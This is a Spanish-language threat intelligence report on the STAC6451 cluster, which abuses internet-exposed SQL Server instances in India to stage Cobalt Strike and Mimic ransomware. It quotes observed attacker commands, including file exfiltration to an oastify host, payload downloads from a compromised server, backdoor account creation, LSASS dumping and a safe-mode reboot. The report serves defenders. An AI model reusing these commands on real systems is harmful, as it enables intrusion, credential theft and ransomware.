Mientras apoyaban un incidente activo, los cazadores de amenazas y analistas de inteligencia de Sophos MDR descubrieron pruebas adicionales de un nuevo clúster de actividad de amenazas que explota servidores de bases de datos de Microsoft SQL Server expuestos directamente a la Internet pública a través del puerto TCP/IP predeterminado (1433) para comprometer a numerosas organizaciones en la India en un intento de desplegar ransomware.
Este clúster, que MDR rastrea como STAC6451, se caracteriza por un conjunto de tácticas, técnicas y procedimientos (TTP) que incluyen principalmente:
-
El abuso de servidores Microsoft SQL para el acceso no autorizado y la habilitación de xp_cmdshell para facilitar la ejecución remota de código.
-
El uso de la utilidad BCP (Bulk Copy Program) para escenificar cargas útiles y herramientas maliciosas en la base de datos MSSQL comprometida, incluidas herramientas de escalada de privilegios, balizas de ataque Cobalt y binarios de ransomware Mimic.
-
El uso de la biblioteca Python Impacket para crear varias cuentas de puerta trasera (“ieadm”; “helpdesk”; “admins124” ; y “rufus”) para el movimiento lateral y la persistencia.
Sophos MDR ha observado que STAC6451 se dirige específicamente a organizaciones indias de múltiples sectores. En los incidentes que Sophos ha rastreado con este clúster de amenazas, se bloqueó el despliegue de ransomware y otras actividades posteriores al compromiso. Pero el clúster sigue siendo una amenaza activa.
Antecedentes
Sophos MDR observó por primera vez la actividad asociada a esta campaña a finales de marzo de 2024, cuando el equipo MDR Threat Hunt colaboró en una respuesta al compromiso de un servidor SQL de una organización y los posteriores intentos de movimiento lateral por parte del atacante. Ese movimiento lateral incluyó un intento del atacante de desplegar y aprovechar un shell web.
Un análisis más detallado del incidente permitió a Sophos identificar otros ataques con un solapamiento significativo de tácticas, técnicas y procedimientos (TTP), lo que llevó a la formación de un grupo de actividades de amenazas a la seguridad que designamos como STAC6451. Este clúster se caracteriza principalmente por el abuso de bases de datos SQL junto con el uso del Bulk Copy Program (bcp) para descargar herramientas en entornos objetivo, como software RMM y archivos maliciosos relacionados con el ransomware Mimic.
Acceso inicial
El STAC6451 se dirige principalmente a servidores de bases de datos MSSQL para obtener acceso no autorizado a las redes de las víctimas. Los objetivos que los actores han conseguido comprometer son servidores expuestos a Internet, a menudo con credenciales de cuenta simples, lo que los hace susceptibles de ataques de fuerza bruta. Tras conseguir el acceso, se observó a los atacantes habilitando el procedimiento de MSSQL (xp_cmdshell) para permitir la ejecución de líneas de comandos a través del servicio SQL (los procesos se ejecutaban bajo la sesión de usuario de “MSSSQLSERVER”). No parece haberse comprometido ninguna credencial de administrador del sistema en los ataques que observamos.
Para que los atacantes comprometan una organización objetivo, el puerto TCP/IP por defecto del servidor SQL (1433) debe quedar expuesto a Internet. Si está expuesto, los atacantes pueden conectarse al servidor y realizar ataques de fuerza bruta, lo que les permite ejecutar su código e implantar cargas útiles maliciosas en la base de datos SQL. Además, xp_cmdshell debe estar habilitado en el servidor SQL expuesto para que los actores de la amenaza aprovechen su acceso para ejecutar comandos desde la instancia SQL para generar LOLBins, como command.exe. El procedimiento xp_cmdshell está desactivado por defecto y no debe activarse en los servidores expuestos por este motivo. En las recomendaciones que figuran al final de este informe, proporcionamos instrucciones sobre cómo comprobar si xp_cmdshell está activado en un servidor y cómo desactivarlo, si procede.
Descubrimiento / Puesta en escena
Una vez que los actores de la amenaza habilitaron la ejecución de código a través de la función xp_cmdshell, ejecutaron varios comandos de descubrimiento en el servidor desde el proceso sqlserver.exe para enumerar detalles sobre el sistema en ejecución, como la versión, el nombre de host, la memoria disponible, el dominio y el contexto del nombre de usuario. Sophos MDR observó con frecuencia que estos comandos de reconocimiento se ejecutaban en un orden uniforme en varios entornos de víctimas en un lapso de dos minutos, lo que indica que probablemente estaban automatizados.
ver & hostname wmic computersystem get totalphysicalmemory wmic os get Caption wmic os get version wmic computersystem get domain whoami
También se observó a los atacantes aprovechando los servicios de pruebas de seguridad de aplicaciones fuera de banda (OAST) para encontrar vulnerabilidades explotables en las aplicaciones web de las víctimas y confirmar su capacidad para ejecutar sus cargas útiles maliciosas.
powershell invoke-webrequest -uri http[:]//mwm1cpvp031oph29mjuil9fz3q9hx7lw.oastify[.]com powershell invoke-webrequest -uri http[:]//mwm1cpvp031oph29mjuil9fz3q9hx7lw.oastify[.]com -Method POST -InFile c:\users\public\music\1.txt
Además de los comandos de descubrimiento, los actores de la amenaza también empezaron a preparar cargas útiles y herramientas adicionales. En varios casos, utilizaron la utilidad bcp (Bulk Copy Program), que es una herramienta de línea de comandos utilizada para copiar datos entre una instancia SQL y un archivo. Los actores incrustaron sus cargas útiles en la base de datos MSSQL y ejecutaron varios comandos BCP para crear un archivo local con el malware y las herramientas guardadas en la base de datos.
Una vez que los actores de la amenaza obtuvieron acceso al servidor SQL, los actores utilizaron bcp para acceder a la tabla SQL que habían creado en el servidor y aprovechar la opción “queryout” para exportar archivos a un directorio escribible por el usuario (‘C:\users\public\music’ en todos los casos que observamos). Los atacantes añadieron la bandera “-T” para especificar una conexión de confianza (utilizando la Autenticación de Windows), así como una bandera “-f ” para especificar el formato de archivo que también se ha escrito en el disco. Este paso configura BCP para interactuar con los datos recién creados en SQL Server.
Utilizando este método, se observó a los actores desplegando varias herramientas y ejecutables, como AnyDesk, scripts por lotes y/o scripts PowerShell. Sophos observó que los actores desplegaban diversas webshells, como god.aspx, detectado por Sophos como Troj/WebShel-IA. Además, desplegaron otras cargas útiles maliciosas, herramientas de escalada de privilegios, balizas Cobalt Strike y binarios Mimic Ransomware.
Los ejemplos incluyen:
Herramienta (Nombre de archivo) | Línea de comandos |
Payload Dropper (build.txt) | “C:\Windows\system32\cmd.exe” /c bcp “select binaryTable from uGnzBdZbsi” queryout “C:\users\public\music\build.txt” -T -f “C:\users\public\music\FODsOZKgAU.txt” |
PrintSpoofer (P0Z.exe) | “C:\Windows\system32\cmd.exe” /c bcp “select binaryTable from uGnzBdZbsi” queryout “C:\windows\temp\POZ.exe” -T -f “C:\windows\temp\FODsOZKgAU.txt” |
Ransomware Launcher (pp2.exe) | “C:\Windows\system32\cmd.exe” /c bcp “select binaryTable from uGnzBdZbsi” queryout “C:\users\public\music\pp2.exe” -T -f “C:\users\public\music\FODsOZKgAU.txt” |
AnyDesk (AD.exe) | “C:\Windows\system32\cmd.exe” /c bcp “select binaryTable from uGnzBdZbsi” queryout “C:\users\%ASD%\music\AD.exe” -T -f “C:\users\%ASD%\music\FODsOZKgAU.txt” |
Movimiento lateral / Persistencia
En los entornos de las víctimas, los actores de la amenaza crearon varias cuentas de usuario para el movimiento lateral y la persistencia. Sin embargo, se observó que los actores de la amenaza ejecutaban el mismo script (“C:\users\public\music\d.bat”) exactamente al mismo tiempo en varias redes objetivo para crear un nuevo usuario (“ieadm”) y añadirlo a los grupos de administrador local y de escritorio remoto. El script también ejecuta comandos para instalar silenciosamente AnyDesk (AD.exe) y activa Wdigest en el registro, forzando que las credenciales se almacenen en texto sin formato.
Cabe destacar que, aunque los objetivos que observamos atacados por este grupo de amenazas estaban en India, el script automatizado hacía referencia a varios idiomas para garantizar que el usuario recién creado se añadiera correctamente al grupo de administradores de la víctima. Esto sugiere que los atacantes utilizaban herramientas genéricas y podían no ser conscientes de la geografía de las organizaciones afectadas.
net localgroup Administradores ieadm /add (Portuguese) net localgroup Administratoren ieadm /add (German) net localgroup Administrateurs ieadm /add (French)
En otro caso, el atacante ejecutó un archivo por lotes (‘C:\users\public\music\user1.bat’) a través del proceso SQL para crear una nueva cuenta local (‘admins124’) y añadirla al grupo de administradores locales y al grupo de escritorio remoto.
C:\Windows\system32\net1 user admins124 @@@Music123.. /add Net localgroup administrators admins124 /add Net localgroup "Remote Desktop Users" admins124 /add
En otro caso, los atacantes crearon de forma similar una nueva cuenta local llamada “helpdesk” y la añadieron al grupo local de administradores utilizando el servicio web worker de IIS w3wp.exe para lanzar el proceso. Sophos MDR detecta esta actividad como parte de la herramienta de ataque SweetPotato (ATK/SharpPot-A).
"cmd" /c "cd /d "C:/Windows/SysWOW64/inetsrv/"&net user helpdesk TheP@ssW0rd /add" 2>&1
Cabe destacar que esta misma línea de comandos, incluido el nombre de usuario y la contraseña anteriores, se documentó en un informe publicado por Elastic en enero sobre otra intrusión en una empresa de servicios financieros. Aunque el objetivo en estos casos era similar, no está claro si los actores eran los mismos o si la cuenta formaba parte de herramientas compartidas.
Observamos creaciones adicionales de cuentas de usuario para el movimiento lateral, que los actores de la amenaza intentaron añadir al Grupo de Escritorio Remoto.
"C:\Windows\system32\cmd.exe" /c W:/POZ.exe -i -c "net user rufus ruFus911 /add &net user rufus ruFus911" net user b9de1fc57 032AEFAB1o /add net user 56638e37b 7C135912Bo /add
Escalada de privilegios
La instancia SQL comprometida implementó una herramienta de escalada de privilegios llamada PrintSpoofer (P0Z.exe), que es un tipo de malware que aprovecha las debilidades del servicio spooler de Windows para obtener privilegios elevados y ejecutar potencialmente comandos maliciosos o cargas útiles. Sophos detecta esta actividad como ATK/PrntSpoof-A.
La muestra observada utiliza rutas comunes como ‘\.\pipe%ws\pipe\spoolss’ para interactuar con el servicio spooler. También se comunica entre procesos y escala privilegios utilizando rutas como ‘\%ws/pipe/%ws’. Además, utiliza “escribir archivo en Windows” para escribir datos en las rutas anteriores, lo que sugiere que está inyectando comandos o cargas útiles en el servicio spooler.
Un mes después, Sophos observó que el implante Cobalt Strike de los actores ejecutaba Sophosx64.exe, que a su vez lanzaba múltiples comandos, entre ellos una consulta al registro y la creación de un usuario en el grupo de administradores locales.
C:\Windows\system32\cmd.exe /C C:\Users\Public\Sophosx64.exe -cmd "cmd /c reg query HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\TightVNC\Server\ /v Password" C:\Users\Public\Sophosx64.exe -cmd "cmd /c net user helpdesk ThisisPassw0rd /add && net localgroup administrators helpdesk /add"
Esto sugiere que los atacantes eran conscientes de la presencia de la protección de endpoints de Sophos en el entorno y que intentaban ofuscar su comportamiento.
Ejecución
Para la ejecución, los actores utilizan bcp para escribir un lanzador de ransomware (pp2.exe) y un script de inicialización (03.bat) en el disco. En un caso, pp2.exe se escribió directamente desde SQL Server, y en otro el ejecutable se incrustó en un script por lotes. A continuación, utilizaron AnyDesk (ad.exe) para lanzar el 03.bat, que ejecuta pp2.exe:
C:\users\public\music\pp2.exe 00011111 C:\users\public\music\build.txt c:\programdata\buildtrg.EXE bcdedit /set {default} safeboot network shutdown -r -f -t 5 del "%
También carga build .txt, que es un archivo de varias cargas útiles.
Build.txt contiene pp2.exe, que suelta la utilidad de búsqueda Void Tools (everything.exe). La utilidad de búsqueda Void Tools permite al actor de la amenaza identificar archivos de interés para cifrar en los sistemas objetivo.
Además, pp3.exe extrae Defender Control (dc.exe) de Build.txt para perjudicar a Windows Defender, así como Sysinternals Secure File Delete (xdel.exe) para eliminar las copias de seguridad de los datos e impedir su recuperación. Por último, Build.txt deja caer el binario del ransomware Mimic (oto.exe), que es el programa que cifra los archivos de las víctimas.
Nombre del archivo | Descripción | Detección |
Everything.exe | Utilidad de búsqueda Void Tools | AppC/EveryT-Gen |
DC.exe | Defender Control | App/BLWinDC-A |
Xdel.exe | Sysinternals Secure File Delete | AppC/SecDel-A |
Oto.exe | Binario de Mimic Ransomware | Troj/Ransom-HAZ |
Build.txt | Lanzador de carga útil | Troj/MDrop-JXY |
En un caso, Sophos MDR observó la ejecución de un script por lotes (01.bat), que utiliza la utilidad BCDEDIT para cambiar el Modo de Arranque a Modo Seguro con red y reinicia el host tras cinco segundos de ejecución, en un intento de eludir las tecnologías de protección. Sophos ha añadido recientemente una nueva regla de política persistente de Protección Adaptativa contra Ataques (activada por defecto) para impedir que los adversarios reinicien programáticamente los dispositivos en Modo Seguro.
bcdedit /set {default} safeboot network shutdown -r -f -t 5
Comando y Control (C2)
Cobalt Strike
Los actores de la amenaza desplegaron un cargador único de Cobalt Strike con el nombre de archivo USERENV.dll. Los datos binarios de este cargador estaban codificados en hexadecimal y se ejecutaban a través de líneas de comandos, concretamente apuntando a la configuración de la línea de comandos del sistema, añadiendo datos a un archivo temporal llamado USERENV.dll.tmp dentro del directorio “C:/users/public/downloads/”. Sophos detecta esta actividad como Memoria_1d (mem/cobalt-d mem/cobalt-f).
El cargador recuperó su configuración descifrando un archivo de configuración también lanzado por un proceso ejecutado a través de la función xp_cmdshell de SQL Server, ubicado en ‘C:\users\public\config.ini’. A continuación, el cargador inyectó la DLL en el proceso gpupdate.exe, y se estableció una conexión C2 con el dominio malicioso windowstimes.online.
Los actores crearon un nuevo servicio llamado “Plug”, que ejecutaba un archivo que contenía la baliza Cobalt Strike en la ruta “C:\ProgramData\Plug\tosbtkbd.exe”. A continuación, configuraron el servicio para que se iniciara automáticamente en el host antes de eliminarlo.
sc create Plug binpath= "cmd /c cd C:\ProgramData\Plug\ && start "C:\ProgramData\Plug\tosbtkbd.exe"" Net start plug Sc delete plug
El análisis de Sophos reveló técnicas de ofuscación de Cobalt Strike indicativas de la pericia del actor de la amenaza en el desarrollo de malware y el aprovisionamiento de infraestructuras. El nombre de archivo original incrustado de USERENV.dll indica que los actores se referían internamente a su cargador de Cobalt Strike como ‘SleepPatcher.dll’. Investigaciones posteriores revelaron que “SleepPatcher” es un componente de MemoryEvasion, una biblioteca de código abierto diseñada como cargador de evasión de memoria de Cobalt Strike para equipos rojos. Nuestros hallazgos coinciden con la investigación de Elastic Security Labs, que también detectó técnicas similares que implicaban la manipulación de DLL legítimas de Windows y la utilización de la herramienta ‘MemoryEvasion’. Sophos identifica este método de ofuscación de Cobalt Strike como Troj/Inject-JLC.
Además, nuestra investigación reveló que los atacantes utilizaban un servidor web comprometido, jobquest[.]ph, para alojar sus cargas útiles Cobalt Strike. El 21 de mayo, la URL ya no devolvía contenido.
"C:\Windows\system32\cmd.exe" /c cscript C:\users\public\downloads\x.vbs hxxps://jobquest[.]ph/tt.png C:\users\public\downloads\1.png "C:\Windows\system32\cmd.exe" /c cscript C:\users\public\downloads\x.vbs hxxps://jobquest[.]ph/2.png C:\users\public\downloads\2.png "C:\Windows\system32\cmd.exe" /c cscript C:\users\public\downloads\x.vbs hxxps://jobquest[.]ph/3.png C:\users\public\downloads\3.png
Acceso a credenciales
Tras establecer las comunicaciones C2 de Cobalt Strike, el actor de la amenaza intentó acceder a las credenciales de la memoria LSASS aprovechando una herramienta de Microsoft llamada DumpMinitool. Esta actividad fue detectada y bloqueada por Sophos Credential Guard (CredGuard).
C:\dm.exe --file C:\1.png --processId <pid> --dumpType Full
Impacto
Recogida de datos
Uno de los casos comprometidos implicaba una actividad manual adicional con el teclado y esfuerzos de recopilación de datos. En concreto, Sophos observó que una de las cuentas de administrador recién creadas utilizaba WinRAR para archivar datos. No se determinó si WinRAR estaba previamente instalado en el sistema objetivo o si se instaló a través de una sesión de AnyDesk.
"C:\Program Files\WinRAR\WinRAR.exe" a -ep -scul -r0 -iext -- web.rar
Mimic Ransomware
Como ya se ha mencionado, Sophos MDR también observó a los actores intentando desplegar binarios de Mimic Ransomware. Visto por primera vez en 2022, el ransomware Mimic se distribuye a través de un archivo ejecutable que suelta varios binarios extraídos de un archivo protegido, incluida la carga útil final. Como señaló anteriormente Trend Micro, el binario del ransomware suele ir empaquetado con una serie de otras herramientas descritas anteriormente, como la herramienta de búsqueda de archivos Everything, Defender Control y Secure File Delete.
Tras su ejecución, se observó que la carga útil del ransomware borraba las instantáneas y cifraba los archivos de la víctima con la extensión “getmydata[@]tutamail[.]com.3000USD “, haciendo saber a la víctima inmediatamente el precio que piden por el descifrador y cómo ponerse en contacto con ellos. Registra la actividad del cifrado y los hashes de los archivos cifrados en un directorio ‘C:\temp’ como MIMIC_LOG.txt. Por último, la carga útil desactiva la recuperación borrando las copias de seguridad de los datos y corrompiendo el disco, además de limpiar las demás herramientas desplegadas. Aunque se vio a los actores preparar los binarios del ransomware Mimic en todos los incidentes observados, a menudo el ransomware no se ejecutaba con éxito y, en varios casos, se vio a los actores intentar borrar los binarios después de desplegarse.
Victimología y atribución
Como hemos dicho antes, Sophos MDR ha observado que STAC6451 se dirigía específicamente a organizaciones indias de múltiples sectores. A diferencia de los ataques oportunistas genéricos a servicios SQL externos, en los que esperaríamos ver una mayor diversidad en la victimología, evaluamos con una confianza moderada que este grupo de actividades está dirigido intencionadamente a grandes organizaciones con sede en la India.
La ejecución simultánea de scripts idénticos y el ritmo uniforme de la actividad en los distintos entornos objetivo indican que los actores estaban automatizando distintas fases de su ataque para explotar y comprometer rápidamente a múltiples víctimas. Evaluamos con confianza baja que los actores reunieron un grupo de IP explotables para acceder a bases de datos SQL y establecieron la persistencia añadiendo usuarios recién creados a grupos con mayores privilegios antes de realizar el reconocimiento y pasar a las acciones sobre los objetivos.
Además, mientras que una actividad similar relacionada con el ransomware Mimic se ha asociado previamente con un intermediario de acceso inicial de habla turca con motivaciones financieras, Sophos MDR solo observó intentos de despliegue de ransomware en un pequeño subconjunto de casos, mientras que otros casos implicaban recopilación de datos y probablemente exfiltración. Actualizaremos nuestra evaluación a medida que continúe la recopilación de información y si surgen nuevas pruebas que puedan proporcionar más detalles sobre las identidades y relaciones de los actores.
Conclusión
STAC6451 es una amenaza en curso y Sophos sigue vigilando y bloqueando la actividad asociada a este Cluster de actividad de amenazas. Este cluster exhibe un nivel moderado de sofisticación a través de sus técnicas de redirección y ofuscación; sin embargo, la ejecución fallida de sus binarios de ransomware y sus carencias a la hora de rotar sus credenciales después de informar indican que a este cluster aún le falta madurez operativa en algunas áreas. A pesar de ello, los actores de la amenaza han demostrado ser persistentes en su actividad y tienen un interés específico en dirigirse a organizaciones con sede en la India.
Basándonos en nuestras observaciones, Sophos MDR evalúa con una confianza de moderada a alta que los actores del STAC6451 están automatizando etapas de su cadena de ataque para facilitar su actividad previa al ransomware. Es probable que los ciberdelincuentes también estén seleccionando a ciertas organizaciones de interés en el grupo de víctimas para llevar a cabo más actividades prácticas y recopilar datos.
Esperamos que nuestra investigación añada más información al creciente cuerpo de conocimientos sobre esta amenaza.
Recomendaciones
-
Evita exponer los servidores SQL a Internet
-
Desactiva xp-cmdshell en las instancias SQL. Esto puede hacerse desde la gestión basada en políticas, o ejecutando el procedimiento almacenado sp_configure en un comando SQL: [CODIGO]
-
Utiliza Control de Aplicaciones para bloquear aplicaciones potencialmente no deseadas, como AnyDesk, la herramienta de búsqueda Everything, Control Defender y Sysinternal Secure Delete
Puedes encontrar una lista de indicadores de compromiso en el repositorio GitHub de Sophos aquí.